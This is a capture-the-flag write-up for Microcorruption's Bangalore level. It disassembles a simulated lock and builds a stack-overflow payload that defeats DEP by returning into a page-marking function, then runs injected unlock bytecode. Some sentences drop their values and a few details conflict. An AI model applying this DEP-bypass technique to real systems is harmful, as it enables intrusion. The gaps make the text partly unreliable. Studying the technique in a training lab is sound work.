This is the sixteenth in a series. You might want to read the previous post before reading this.
This post is based on the Bangalore level on microcorruption.com. Like last time, we’re trying to find an input to open a lock without knowing the correct password, using knowledge of assembly language.
This level is introduced to us as having memory protection - every page of memory is either writable or executable but never both, normally called Data Execution Prevention. The lock manual describes a few relevant interrupts for this:
INT 0x10 turns on DEP,
INT 0x11 takes a page number and a second argument of 1 if the page is writable and 0 if its executable.
Let’s look through the code. The main function here calls
login, and that’s all.
44de <set_up_protection> 44de: 0b12 push r11 44e0: 0f43 clr r15 44e2: b012 b444 call #0x44b4 <mark_page_executable> 44e6: 1b43 mov #0x1, r11 44e8: 0f4b mov r11, r15 44ea: b012 9c44 call #0x449c <mark_page_writable> 44ee: 1b53 inc r11 44f0: 3b90 4400 cmp #0x44, r11 44f4: f923 jne #0x44e8 <set_up_protection+0xa>
Mark page 0 as executable, mark pages up to
0x43 = 67 as writable.
44f6: 0f4b mov r11, r15 44f8: b012 b444 call #0x44b4 <mark_page_executable> 44fc: 1b53 inc r11 44fe: 3b90 0001 cmp #0x100, r11 4502: f923 jne #0x44f6 <set_up_protection+0x18>
Mark pages from
0x100 (68 to 255) as executable.
4504: b012 cc44 call #0x44cc <turn_on_dep> 4508: 3b41 pop r11 450a: 3041 ret 450c: 3041 ret
Then turn on the protection. The executable areas will be the
0x00xx addresses and the
0x44xx addresses onwards.
0x4400 is where the code segment starts. It’s not clear why there are two
login function is much shorter this time.
4512 <login> 4512: 3150 f0ff add #0xfff0, sp 4516: 3f40 0024 mov #0x2400, r15 451a: b012 7a44 call #0x447a <puts> 451e: 3f40 2024 mov #0x2420, r15 4522: b012 7a44 call #0x447a <puts>
Increase the stack by 16 bytes, then write out a couple of strings.
4526: 3e40 3000 mov #0x30, r14 452a: 0f41 mov sp, r15 452c: b012 6244 call #0x4462 <getsn>
Get 48 bytes of input onto the stack pointer.
4530: 3f40 6524 mov #0x2465, r15 4534: b012 7a44 call #0x447a <puts> 4538: 3150 1000 add #0x10, sp 453c: 3041 ret
Cheekily, this immediately writes out that we had the wrong password. It doesn’t even check with the lock! We’re going to have to somehow get the code to execute instructions which don’t currently exist.
Developing an exploit.
Normally, the lock is opened by calling
INT with a value of
0x7f. Looking back at the
INT function from a previous level, you can see that this will result in the
sr register being
call #0x10 being executed.
4904 <INT> 4904: 0c4f mov r15, r12 4906: 0d12 push r13 4908: 0e12 push r14 490a: 0c12 push r12 490c: 0012 push pc 490e: 0212 push sr 4910: 0f4c mov r12, r15 4912: 8f10 swpb r15 4914: 024f mov r15, sr 4916: 32d0 0080 bis #0x8000, sr 491a: b012 1000 call #0x10 491e: 3241 pop sr 4920: 3152 add #0x8, sp 4922: 3041 ret
It’s tempting to think that we could write our own assembly code to do this, put that onto the stack, and then manipulate the return value of the
login function to return into that code. However, because of the DEP, the stack is writable so it isn’t exectuable.
But what if we could make the stack executable once we’d written to it? We could return into the
mark_page_executable function, and setup the stack so that the page of the stack that we write onto is made executable. To do that, we’d want to return to
0x44ba, and to have
0x00 next on the stack so that the 40th page is set to executable.
That function finishes by decreasing the size of the stack (so we need 2 bytes of filler) then returning. We can manipulate this return value too (the next two bytes on the stack), so let’s set it to be the next byte along on the stack, so that we can write bytecode to be returned to. That’s going to be
At that point we should insert some instructions that call an interrupt with the right parameter. We’ll need to move the stack pointer to be in a writeable page, so that the system call doesn’t fail. Compiling the instructions:
add #0xfff0, sp mov #0xff00, sr call #0x10
3150f0ff324000ffb0121000 as our bytecode.
So in total our exploit is:
0x4142434445464748494a4b4c4d4e4f50 (to fill up the allocated buffer)
0xba44 (to return into the function that will make a page executable)
0x4000 to set page 40 as writable (with the second argument of 0)
0x4141 as 2 bytes of filler
0x0640 so that the next return takes us to execute from
0x4006 on the stack
0x3150f0ff324000ffb0121000, the bytecode, which will start at address
The door springs open
This was a complicated exploit. Because we could overflow the stack by a long way, we could overwrite a return address on the stack, and add parameters to a system call. That was enough to overcome the DEP. By continuing the pattern of overwriting return adresses, we could return the CPU to start executing on part of the string we inputted.
That part of the string contained the bytecode required to open the lock.